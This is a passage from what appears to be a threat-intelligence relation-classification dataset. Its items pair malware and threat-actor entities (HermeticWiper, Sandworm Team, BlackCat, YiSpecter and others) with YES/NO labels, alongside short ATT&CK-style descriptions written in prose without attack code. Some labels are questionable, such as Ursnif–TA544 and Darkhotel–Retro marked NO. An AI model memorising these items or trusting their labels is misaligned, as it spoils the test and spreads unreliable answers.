"input": "### Source Entity:\nHermeticWiper\n### Target Entity: Latvia\n### Text Passage:\nHermeticWiper is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHermeticWiper\n### Target Entity: Lithuania\n### Text Passage:\nHermeticWiper is a data wiper that has been used since at least early 2022, primarily against Ukraine with additional activity observed in Latvia and Lithuania. Some sectors targeted include government, financial, defense, aviation, and IT services.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMustang Panda\n### Target Entity: C2\n### Text Passage:\nMustang Panda Recent Activity: Dll-Sideloading trojans with temporal C2 servers June 02, 2020\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nEbury\n### Target Entity: sshd\n### Text Passage:\nEbury has injected its dynamic library into descendent processes of sshd via LD_PRELOAD.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroRAT\n### Target Entity: Android\n### Text Passage:\nAndroRAT is an open-source remote access tool for Android devices. AndroRAT is capable of collecting data, such as device location, call logs, etc., and is capable of executing actions, such as sending SMS messages and taking pictures.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nVBShower\n### Target Entity: VBS\n### Text Passage:\nVBShower has the ability to download VBS files to the target computer.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUkraine Electric Power Attack\n### Target Entity: Sandworm Team\n### Text Passage:\n2016 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used Industroyer malware to target and disrupt distribution substations within the Ukrainian power grid. This campaign was the second major public attack conducted against Ukraine by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSandworm Team\n### Target Entity: Ukraine\n### Text Passage:\n2016 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used Industroyer malware to target and disrupt distribution substations within the Ukrainian power grid. This campaign was the second major public attack conducted against Ukraine by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIndustroyer\n### Target Entity: Ukraine\n### Text Passage:\n2016 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used Industroyer malware to target and disrupt distribution substations within the Ukrainian power grid. This campaign was the second major public attack conducted against Ukraine by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIndustroyer\n### Target Entity: Ukrainian\n### Text Passage:\n2016 Ukraine Electric Power Attack was a Sandworm Team campaign during which they used Industroyer malware to target and disrupt distribution substations within the Ukrainian power grid. This campaign was the second major public attack conducted against Ukraine by Sandworm Team.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA551\n### Target Entity: SLIVER\n### Text Passage:\nSecurity Brief: TA551 Uses \u2018SLIVER\u2019 Red Team Tool in New Activity October 20, 2021\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlyTrap\n### Target Entity: Android\n### Text Passage:\nFlyTrap is an Android trojan, first detected in March 2021, that uses social engineering tactics to compromise Facebook accounts. FlyTrap was initially detected through infected apps on the Google Play store, and is believed to have impacted over 10,000 victims across at least 140 countries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlyTrap\n### Target Entity: Facebook\n### Text Passage:\nFlyTrap is an Android trojan, first detected in March 2021, that uses social engineering tactics to compromise Facebook accounts. FlyTrap was initially detected through infected apps on the Google Play store, and is believed to have impacted over 10,000 victims across at least 140 countries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFlyTrap\n### Target Entity: Google Play\n### Text Passage:\nFlyTrap is an Android trojan, first detected in March 2021, that uses social engineering tactics to compromise Facebook accounts. FlyTrap was initially detected through infected apps on the Google Play store, and is believed to have impacted over 10,000 victims across at least 140 countries.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAPT10\n### Target Entity: Ministry of State Security of China\n### Text Passage:\nFurthermore, the diplomatic Turkish support to certain Chinese ethnic groups that are considerate as a threat against the Chinese national security, could provoke that Turkey becomes a target of groups like APT10 which presumably are linked to the Ministry of State Security of China. APT10 is a group that has a wide range of targets. The organizations from sectors of interest for the government of China and the organizations that have some kind of link with the commercial development of the OBOR route could be susceptible to being targeted by groups such as APT10.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTurkish\n### Target Entity: Turkey\n### Text Passage:\nFurthermore, the diplomatic Turkish support to certain Chinese ethnic groups that are considerate as a threat against the Chinese national security, could provoke that Turkey becomes a target of groups like APT10 which presumably are linked to the Ministry of State Security of China. APT10 is a group that has a wide range of targets. The organizations from sectors of interest for the government of China and the organizations that have some kind of link with the commercial development of the OBOR route could be susceptible to being targeted by groups such as APT10.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nadmin@338\n### Target Entity: BUBBLEWRAP\n### Text Passage:\nBUBBLEWRAP is a full-featured, second-stage backdoor used by the admin@338 group. It is set to run when the system boots and includes functionality to check, upload, and register plug-ins that can further enhance its capabilities. \n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nStarloader\n### Target Entity: Adobe Acrobat Reader\n### Text Passage:\nStarloader has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nStarloader\n### Target Entity: Intel\n### Text Passage:\nStarloader has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nIntel\n### Target Entity: Adobe Acrobat Reader\n### Text Passage:\nStarloader has masqueraded as legitimate software update packages such as Adobe Acrobat Reader and Intel.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nFelismus\n### Target Entity: C2\n### Text Passage:\nSome Felismus samples use a custom encryption method for C2 traffic that utilizes AES and multiple keys.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGorgon Group\n### Target Entity: ShiftyBug\n### Text Passage:\nGorgon Group malware can download a remote access tool, ShiftyBug, and inject into another process.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMoses Staff\n### Target Entity: StrifeWater\n### Text Passage:\nStrifeWater is a remote-access tool that has been used by Moses Staff in the initial stages of their attacks since at least November 2021.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nHotCroissant\n### Target Entity: Rifdoor\n### Text Passage:\nRifdoor is a remote access trojan (RAT) that shares numerous code similarities with HotCroissant.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackCat\n### Target Entity: Rust\n### Text Passage:\nBlackCat is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, BlackCat has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackCat\n### Target Entity: Africa\n### Text Passage:\nBlackCat is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, BlackCat has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackCat\n### Target Entity: Americas\n### Text Passage:\nBlackCat is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, BlackCat has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackCat\n### Target Entity: Asia\n### Text Passage:\nBlackCat is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, BlackCat has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackCat\n### Target Entity: Australia\n### Text Passage:\nBlackCat is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, BlackCat has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBlackCat\n### Target Entity: Europe\n### Text Passage:\nBlackCat is ransomware written in Rust that has been offered via the Ransomware-as-a-Service (RaaS) model. First observed November 2021, BlackCat has been used to target multiple sectors and organizations in various countries and regions in Africa, the Americas, Asia, Australia, and Europe.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nStrongPity\n### Target Entity: C2\n### Text Passage:\nStrongPity can use HTTP and HTTPS in C2 communications.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nToddyCat\n### Target Entity: Samurai\n### Text Passage:\nSamurai is a passive backdoor that has been used by ToddyCat since at least 2020. Samurai allows arbitrary C# code execution and is used with multiple modules for remote administration and lateral movement.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSamurai\n### Target Entity: C#\n### Text Passage:\nSamurai is a passive backdoor that has been used by ToddyCat since at least 2020. Samurai allows arbitrary C# code execution and is used with multiple modules for remote administration and lateral movement.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nANDROIDOS_ANSERVER.A\n### Target Entity: Android\n### Text Passage:\nANDROIDOS_ANSERVER.A is Android malware that is unique because it uses encrypted content within a blog site for command and control.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nDarkhotel\n### Target Entity: Retro\n### Text Passage:\nRamsay is an information stealing malware framework designed to collect and exfiltrate sensitive documents, including from air-gapped systems. Researchers have identified overlaps between Ramsay and the Darkhotel-associated Retro malware.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAkira\n### Target Entity: C++\n### Text Passage:\nAkira ransomware, written in C++, is most prominently (but not exclusively) associated with the a ransomware-as-a-service entity Akira.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nYiSpecter\n### Target Entity: iOS\n### Text Passage:\nYiSpecter is a family of iOS and Android malware, first detected in November 2014, targeting users in mainland China and Taiwan. YiSpecter abuses private APIs in iOS to infect both jailbroken and non-jailbroken devices.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nYiSpecter\n### Target Entity: Android\n### Text Passage:\nYiSpecter is a family of iOS and Android malware, first detected in November 2014, targeting users in mainland China and Taiwan. YiSpecter abuses private APIs in iOS to infect both jailbroken and non-jailbroken devices.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nYiSpecter\n### Target Entity: China\n### Text Passage:\nYiSpecter is a family of iOS and Android malware, first detected in November 2014, targeting users in mainland China and Taiwan. YiSpecter abuses private APIs in iOS to infect both jailbroken and non-jailbroken devices.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nYiSpecter\n### Target Entity: Taiwan\n### Text Passage:\nYiSpecter is a family of iOS and Android malware, first detected in November 2014, targeting users in mainland China and Taiwan. YiSpecter abuses private APIs in iOS to infect both jailbroken and non-jailbroken devices.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: iOS\n### Text Passage:\nYiSpecter is a family of iOS and Android malware, first detected in November 2014, targeting users in mainland China and Taiwan. YiSpecter abuses private APIs in iOS to infect both jailbroken and non-jailbroken devices.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA544\n### Target Entity: Italy\n### Text Passage:\nTA544 is a cybercriminal threat actor that distributes banking malware and other payloads in various geographic regions including Italy and Japan. Proofpoint has tracked this actor since 2017. Typically, this group varies its payloads which appear to be targeted by region \u2013 for example, in 2021, all TA544 Ursnif campaigns have specifically targeted Italian organizations while Dridex payloads associated with this threat actor do not have specific geographic targeting.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nTA544\n### Target Entity: Japan\n### Text Passage:\nTA544 is a cybercriminal threat actor that distributes banking malware and other payloads in various geographic regions including Italy and Japan. Proofpoint has tracked this actor since 2017. Typically, this group varies its payloads which appear to be targeted by region \u2013 for example, in 2021, all TA544 Ursnif campaigns have specifically targeted Italian organizations while Dridex payloads associated with this threat actor do not have specific geographic targeting.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUrsnif\n### Target Entity: Italian\n### Text Passage:\nTA544 is a cybercriminal threat actor that distributes banking malware and other payloads in various geographic regions including Italy and Japan. Proofpoint has tracked this actor since 2017. Typically, this group varies its payloads which appear to be targeted by region \u2013 for example, in 2021, all TA544 Ursnif campaigns have specifically targeted Italian organizations while Dridex payloads associated with this threat actor do not have specific geographic targeting.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nUrsnif\n### Target Entity: TA544\n### Text Passage:\nTA544 is a cybercriminal threat actor that distributes banking malware and other payloads in various geographic regions including Italy and Japan. Proofpoint has tracked this actor since 2017. Typically, this group varies its payloads which appear to be targeted by region \u2013 for example, in 2021, all TA544 Ursnif campaigns have specifically targeted Italian organizations while Dridex payloads associated with this threat actor do not have specific geographic targeting.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBusyGasper\n### Target Entity: Android\n### Text Passage:\nBusyGasper is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBusyGasper\n### Target Entity: Russia\n### Text Passage:\nBusyGasper is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAndroid\n### Target Entity: BusyGasper\n### Text Passage:\nBusyGasper is Android spyware that has been in use since May 2016. There have been less than 10 victims, all who appear to be located in Russia, that were all infected via physical access to the device.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSharpDisco\n### Target Entity: C#\n### Text Passage:\nSharpDisco is a dropper developed in C# that has been used by MoustachedBouncer since at least 2020 to load malicious plugins.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMoustachedBouncer\n### Target Entity: SharpDisco\n### Text Passage:\nSharpDisco is a dropper developed in C# that has been used by MoustachedBouncer since at least 2020 to load malicious plugins.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nMoustachedBouncer\n### Target Entity: C#\n### Text Passage:\nSharpDisco is a dropper developed in C# that has been used by MoustachedBouncer since at least 2020 to load malicious plugins.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSquirrelwaffle\n### Target Entity: Cobalt Strike\n### Text Passage:\nSquirrelwaffle is a loader that was first seen in September 2021. It has been used in spam email campaigns to deliver additional malware such as Cobalt Strike and the QakBot banking trojan.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nSquirrelwaffle\n### Target Entity: QakBot\n### Text Passage:\nSquirrelwaffle is a loader that was first seen in September 2021. It has been used in spam email campaigns to deliver additional malware such as Cobalt Strike and the QakBot banking trojan.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAADInternals\n### Target Entity: Azure Active Directory\n### Text Passage:\nAADInternals is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nAADInternals\n### Target Entity: PowerShell\n### Text Passage:\nAADInternals is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nGitHub\n### Target Entity: Azure Active Directory\n### Text Passage:\nAADInternals is a PowerShell-based framework for administering, enumerating, and exploiting Azure Active Directory. The tool is publicly available on GitHub.\n", + "output": "NO" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nBad Rabbit\n### Target Entity: Flash Player\n### Text Passage:\nBad Rabbit has masqueraded as a Flash Player installer through the executable file install_flash_player.exe.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\ninstall_flash_player.exe\n### Target Entity: Flash Player\n### Text Passage:\nBad Rabbit has masqueraded as a Flash Player installer through the executable file install_flash_player.exe.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source and target entities. If any label applies to the relationship, answer YES. Otherwise, answer NO.\nAnswer in the following format: YES or NO", + "input": "### Source Entity:\nKwampirs\n### Target Entity: netstat\n### Text Passage:\nKwampirs collects a list of active and listening connections by using the command netstat -nao as well as a list of available network mappings with net use.\n", + "output": "YES" + }, + { + "instruction": "You are a helpful threat intelligence analyst. Your task is to identify if the source entity and the target entity in the provided text passage are semantically related. To help you, we provide all the possible relationship labels between the source 